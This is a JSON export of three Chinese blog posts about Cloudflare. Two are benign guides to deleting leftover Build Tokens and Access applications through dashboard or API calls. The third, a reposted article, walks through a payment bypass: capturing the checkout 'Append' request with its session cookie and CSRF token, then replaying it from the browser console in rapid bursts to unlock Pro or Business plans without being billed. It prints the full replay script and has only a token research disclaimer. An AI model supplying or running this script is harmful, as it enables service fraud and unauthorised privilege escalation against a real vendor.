[{"content":"为什么需要Build Token？ GitHub 默认是私密的（即使是公开仓库，外部系统要监听它的变动也需要授权）。Cloudflare 需要一个合法的身份凭证去读取你的仓库内容。\n如何删除Build Token？ 在使用 Cloudflare Workers 连接 GitHub 仓库部署项目时，系统会自动生成一个 Build Token。即使项目删除了，Cloudflare上这些Build Token会依旧存在。\nGithub侧：删除Github的Deploy Key 前往你的仓库 → Settings → Deploy keys删除。\nCloudflare侧：删除Cloudflare的Build Token 删除User API Token 首先，打开这个页面，找到以build token结尾的API Token并删除该Token。\n删除Build Token 登录Cloudflare控制面板后，有一串字符，就是你的账户标识符(Account ID)。\ndash.cloudflare.com/[账户标识符(Account ID)] 方法一：通过浏览器控制台删除Build Token 此方法使用 Dashboard 内部 API 端点，依赖浏览器 session cookie 认证，不需要 API Token\n打开Cloudflare控制面板，保持本页面。 Windows 按 F12 或 Ctrl + Shift + J， Mac 按 Command + Option + J。你也可以在网页任意空白处点击鼠标右键，选择“检查”，然后切换到“控制台”标签页。\n在控制台页面执行以下代码查询build token uuid，注意替换YOUR_ACCOUNT_ID。\n首次使用浏览器控制台需要根据提示确认启用\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 const accountId = \u0026#39;YOUR_ACCOUNT_ID\u0026#39;; async function getBuildToken() { const url = `https://dash.cloudflare.com/api/v4/accounts/${accountId}/builds/tokens`; try { const response = await fetch(url, { method: \u0026#39;GET\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;x-cross-site-security\u0026#39;: \u0026#39;dash\u0026#39; }, credentials: \u0026#34;include\u0026#34; }); if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } const data = await response.json(); console.log(\u0026#39;请求成功:\u0026#39;, data); return data; } catch (error) { console.error(\u0026#39;请求失败:\u0026#39;, error); } } getBuildToken(); 控制台输出请求成功后，打开 Network 标签页。在产生的流量中，定位名为 tokens 的 GET 请求。\n选中该请求，从 Preview 或 Response 中result找到build_token_uuid，即为下文要使用的build token uuid（注意是build_token_uuid，不是cloudflare_token_id）。\n之后，在控制台页面执行以下代码删除build token，注意替换YOUR_ACCOUNT_ID和YOUR_BUILD_TOKEN_UUID。\n首次使用浏览器控制台需要根据提示确认启用\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 const accountId = \u0026#39;YOUR_ACCOUNT_ID\u0026#39;; const buildTokenUuid = \u0026#39;YOUR_BUILD_TOKEN_UUID\u0026#39;; async function deleteBuildToken() { const url = `https://dash.cloudflare.com/api/v4/accounts/${accountId}/builds/tokens/${buildTokenUuid}`; try { const response = await fetch(url, { method: \u0026#39;DELETE\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;x-cross-site-security\u0026#39;: \u0026#39;dash\u0026#39; }, credentials: \u0026#34;include\u0026#34; }); if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } const data = await response.json(); console.log(\u0026#39;删除成功:\u0026#39;, data); return data; } catch (error) { console.error(\u0026#39;请求失败:\u0026#39;, error); } } deleteBuildToken(); 若控制台返回删除成功，则说明该build token删除成功。\n方法二：通过curl删除Build Token 此方法使用 Cloudflare 官方提供的 API 端点，需要API Token。\n回到这个页面，点击Create Token\n选择Edit Cloudflare Workers模板\nAccount Resources选择你的Cloudflare账号，Zone Resources选择All Zones，点击Continue to summary\n点击Create Token\n你将会获得以cfut_开头的User API Token。如果你的账号在2026年4月之前使用过User API Token且未更换，可能没有cfut_前缀。留存好这个Token，只会出现一次。\n之后，我们使用curl命令发送GET请求查询build token uuid\n1 curl -X GET \u0026#34;https://api.cloudflare.com/client/v4/accounts/[账户标识符(Account ID)]/builds/tokens\u0026#34; -H \u0026#34;Authorization: Bearer [Your Token]\u0026#34; -H \u0026#34;Content-Type: application/json\u0026#34; 注意替换[账户标识符(Account ID)]和[Your Token]\n响应如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 { \u0026#34;result\u0026#34;: [ { \u0026#34;build_token_uuid\u0026#34;: \u0026#34;[build token uuid]\u0026#34;, \u0026#34;owner_type\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;build_token_name\u0026#34;: \u0026#34;REDACTED\u0026#34;, \u0026#34;cloudflare_token_id\u0026#34;: \u0026#34;REDACTED\u0026#34; } ], \u0026#34;success\u0026#34;: true, \u0026#34;errors\u0026#34;: [], \u0026#34;messages\u0026#34;: [], \u0026#34;result_info\u0026#34;: { \u0026#34;next_page\u0026#34;: false, \u0026#34;page\u0026#34;: 1, \u0026#34;per_page\u0026#34;: 50, \u0026#34;count\u0026#34;: 1, \u0026#34;total_count\u0026#34;: 1, \u0026#34;total_pages\u0026#34;: 1 } } build_token_uuid的值即为build token uuid，记录下build token uuid，再使用curl命令发送DELETE请求删除这个build token（注意是build_token_uuid，不是cloudflare_token_id）\n1 curl -X DELETE \u0026#34;https://api.cloudflare.com/client/v4/accounts/[账户标识符(Account ID)]/builds/tokens/[build token uuid]\u0026#34; -H \u0026#34;Authorization: Bearer [Your Token]\u0026#34; -H \u0026#34;Content-Type: application/json\u0026#34; 注意替换[账户标识符(Account ID)]、[build token uuid]和[Your Token]\n若响应如下，则说明该build token删除成功。\n1 2 3 4 5 6 { \u0026#34;result\u0026#34;: \u0026#34;ok\u0026#34;, \u0026#34;success\u0026#34;: true, \u0026#34;errors\u0026#34;: [], \u0026#34;messages\u0026#34;: [] } 最后，删除刚才创建的User API Token，以免意外泄露\n","date":"2026-07-11T08:00:00+08:00","permalink":"/p/shan-chu-cloudflare-build-token/","title":"删除Cloudflare Build Token"},{"content":"获取app uuid 登录Cloudflare控制面板后，有一串字符，就是你的账户标识符(Account ID)。\ndash.cloudflare.com/[账户标识符(Account ID)] 如果你是通过Pages项目开启的Preview access，可以执行以下步骤获取app uuid： 前往Compute → Workers \u0026amp; Pages 找到意外开启 Preview access 的Pages项目，前往Settings → Preview Access → Manage\n如果这里显示的是Restrict Previews，则说明这个Pages项目没有开启Cloudflare Access。\n进入Manage后，有2串字符。如图，第1串字符是账户标识符(Account ID)，第2串字符是app uuid\n如果你是通过其他方式开启的Access Policy，可以通过以下方法查询app uuid。\n打开Cloudflare控制面板，保持本页面。 Windows 按 F12 或 Ctrl + Shift + J， Mac 按 Command + Option + J。你也可以在网页任意空白处点击鼠标右键，选择“检查”，然后切换到“控制台”标签页。\n在控制台页面执行以下代码，注意替换YOUR_ACCOUNT_ID。\n首次使用浏览器控制台需要按提示确认启用\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 const accountId = \u0026#39;YOUR_ACCOUNT_ID\u0026#39;; async function getAccessApp() { const url = `https://dash.cloudflare.com/api/v4/accounts/${accountId}/access/apps/`; try { const response = await fetch(url, { method: \u0026#39;GET\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;x-cross-site-security\u0026#39;: \u0026#39;dash\u0026#39; }, credentials: \u0026#34;include\u0026#34; }); if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } const data = await response.json(); console.log(\u0026#39;请求成功:\u0026#39;, data); return data; } catch (error) { console.error(\u0026#39;请求失败:\u0026#39;, error); } } getAccessApp(); 控制台输出请求成功后，打开 Network 标签页。在产生的流量中，定位名为 apps/ 的 GET 请求。\n选中该请求，从 Preview 或 Response 中result找到对应Access Policy的id，即为下文要使用的app uuid。\n关闭Access Policy 方法一：通过浏览器控制台关闭Access Policy 此方法使用 Dashboard 内部 API 端点，依赖浏览器 session cookie 认证，不需要 API Token\n打开Cloudflare控制面板，保持本页面。 Windows 按 F12 或 Ctrl + Shift + J， Mac 按 Command + Option + J。你也可以在网页任意空白处点击鼠标右键，选择“检查”，然后切换到“控制台”标签页。\n在控制台页面执行以下代码，注意替换YOUR_ACCOUNT_ID和YOUR_APP_UUID。\n首次使用浏览器控制台需要根据提示确认启用\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 const accountId = \u0026#39;YOUR_ACCOUNT_ID\u0026#39;; const appUuid = \u0026#39;YOUR_APP_UUID\u0026#39;; async function deleteAccessApp() { const url = `https://dash.cloudflare.com/api/v4/accounts/${accountId}/access/apps/${appUuid}`; try { const response = await fetch(url, { method: \u0026#39;DELETE\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;x-cross-site-security\u0026#39;: \u0026#39;dash\u0026#39; }, credentials: \u0026#34;include\u0026#34; }); if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } const data = await response.json(); console.log(\u0026#39;删除成功:\u0026#39;, data); return data; } catch (error) { console.error(\u0026#39;请求失败:\u0026#39;, error); } } deleteAccessApp(); 若控制台返回删除成功，则说明该Access Policy关闭成功。\n方法二：通过curl关闭Access Policy 此方法使用 Cloudflare 官方提供的 API 端点，需要Global API Key。\n打开这个页面，找到 Global API Key，修改或查看并复制下来。\nGlobal API Key以cfk_开头。如果你的账号在2026年4月之前使用过Global API Key且未更换，可能没有cfk_前缀。\n之后，我们使用curl命令发送DELETE请求关闭特定的Access Policy（注意修改一些值）。\nWindows:\n1 curl -X DELETE \u0026#34;https://api.cloudflare.com/client/v4/accounts/[账户标识符(Account ID)]/access/apps/[app uuid]\u0026#34; -H \u0026#34;X-Auth-Email: [账户邮箱]\u0026#34; -H \u0026#34;X-Auth-Key: [Global API Key]\u0026#34; -H \u0026#34;Content-Type: application/json\u0026#34; Linux:\n1 2 3 4 curl -X DELETE \u0026#34;https://api.cloudflare.com/client/v4/accounts/[账户标识符(Account ID)]/access/apps/[app uuid]\u0026#34; \\ -H \u0026#34;X-Auth-Email: [账户邮箱]\u0026#34; \\ -H \u0026#34;X-Auth-Key: [Global API Key]\u0026#34; \\ -H \u0026#34;Content-Type: application/json\u0026#34; 注意替换[账户标识符(Account ID)]、[app uuid]、[账户邮箱]和[Global API Key]\n如果输出与以下内容类似，则说明该Access Policy关闭成功。\n1 2 3 4 5 6 7 8 { \u0026#34;result\u0026#34;: { \u0026#34;id\u0026#34;: \u0026#34;[app uuid]\u0026#34; }, \u0026#34;success\u0026#34;: true, \u0026#34;errors\u0026#34;: [], \u0026#34;messages\u0026#34;: [] } ","date":"2026-07-10T08:00:00+08:00","permalink":"/p/tong-guo-api-guan-bi-cloudflare-access/","title":"通过API关闭Cloudflare Access"},{"content":" 本文转载自https://blog.hyun.cc/post/yong-jiu-bai-piao-cloudfire-pro-huo-business/\nCloudflare 计费逻辑缺陷：通过请求重放实现高级订阅绕过 在针对 Cloudflare 订阅体系进行逆向测试时，我发现其前端结算逻辑与后端状态同步之间存在一个有趣的“空隙”。通过特定的请求重放（Replay Attack），可以在系统未产生实际账单的情况下，诱导后端激活 Pro 或 Business 计划。\n01. 核心表现：身份与权限的“量子叠加” 这种绕过方式会导致账号进入一种奇特的错位状态：\n权限越权（Privilege Escalation）：账号已实质性解锁 Pro/Business 专属功能（如 WAF 高级规则、图像优化、独享边缘节点等）。 状态错位（Logic Mismatch）：订阅管理界面仍显示为 Free 计划。由于计费链路未闭环，系统不会生成任何待支付条目或扣费账单。 零成本运行：利用结算接口的逻辑缺陷，实现了高级权限的“白嫖”。 02. 前置准备 在复现该逻辑缺陷前，需满足以下条件：\n域名接入：域名已成功添加至 Cloudflare 账户。 支付环境：账户内未绑定有效信用卡（或绑定一张余额为 0 的卡以通过初审）。 目标选择：在 Active Subscriptions 页面点击 Change，选择你想要激活的 Pro 或 Business 方案，进入待支付页面。 03. 操作步骤：捕获与重放 利用浏览器开发者工具（DevTools），我们可以手动干预结算请求。\n第一步：定位关键请求 打开 Network 标签页，点击页面底部的支付按钮。在产生的流量中，定位名为 Append 的 POST 请求。\n第二步：提取核心元数据 选中该请求，从 Headers 和 Payload 中提取以下关键参数：\nRequest URL：完整的接口地址。 Cookie：当前会话的身份凭证。 X-atok：Cloudflare 特有的 CSRF/身份校验令牌。 Payload：在 Request Payload 中点击 View Source，获取原始的 JSON 结构。 第三步：控制台脚本注入 切换至 Console 标签页，利用下面的异步脚本进行高频重放。\n04. 自动化重放脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 /** * Cloudflare Subscription Bypass Replay Script * 仅用于技术研究，请勿用于非法用途 */ const url = \u0026#39;PASTE_YOUR_URL_HERE\u0026#39;; const headers = { \u0026#39;content-type\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;accept\u0026#39;: \u0026#39;*/*\u0026#39;, \u0026#39;origin\u0026#39;: \u0026#39;https://dash.cloudflare.com\u0026#39;, \u0026#39;referer\u0026#39;: \u0026#39;https://dash.cloudflare.com/\u0026#39;, \u0026#39;x-atok\u0026#39;: \u0026#39;PASTE_YOUR_X_ATOK_HERE\u0026#39;, \u0026#39;x-cross-site-security\u0026#39;: \u0026#39;dash\u0026#39;, \u0026#39;cookie\u0026#39;: \u0026#39;PASTE_YOUR_COOKIE_HERE\u0026#39;, \u0026#39;user-agent\u0026#39;: \u0026#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\u0026#39; }; // 填入 View Source 中的 Payload 数据 const payload = { /* ... */ }; const delay = ms =\u0026gt; new Promise(res =\u0026gt; setTimeout(res, ms)); (async () =\u0026gt; { console.log(\u0026#34;%c 开始执行请求重放...\u0026#34;, \u0026#34;color: #007aff; font-weight: bold;\u0026#34;); for (let i = 0; i \u0026lt; 10; i++) { fetch(url, { method: \u0026#39;POST\u0026#39;, headers: headers, body: JSON.stringify(payload) }) .then(res =\u0026gt; console.log(`[Batch ${i}] Status: ${res.status}`)) .catch(err =\u0026gt; console.error(`[Batch ${i}] Error:`, err)); await delay(100); // 100ms 间隔，模拟并发竞争 } console.log(\u0026#34;%c 脚本执行完毕，请刷新控制面板验证权限。\u0026#34;, \u0026#34;color: #34c759; font-weight: bold;\u0026#34;); })(); 05. 技术后记 这个漏洞的成因很可能是 Cloudflare 在处理 Append 操作时，先执行了权限分配逻辑，而后异步校验支付结果。在快速并发的请求下，后端分布式数据库可能出现了临时的状态同步延迟，导致权限已被写入 Metadata，但账单流水却因支付失败而被回滚。\n这种“先上车后买票”的逻辑在追求极致前端体验的 SaaS 平台中屡见不鲜，但也为安全研究提供了极佳的切入点。\n参见 永久白嫖Cloudfire Pro 或 Business\nCloudflare 计费逻辑缺陷：请求重放如何绕过订阅支付\n","date":"2026-01-06T08:00:00+08:00","permalink":"/p/yong-jiu-bai-piao-cloudflare-pro-huo-business/","title":"白嫖 Cloudflare Pro 或 Business（2026年07月已失效）"}]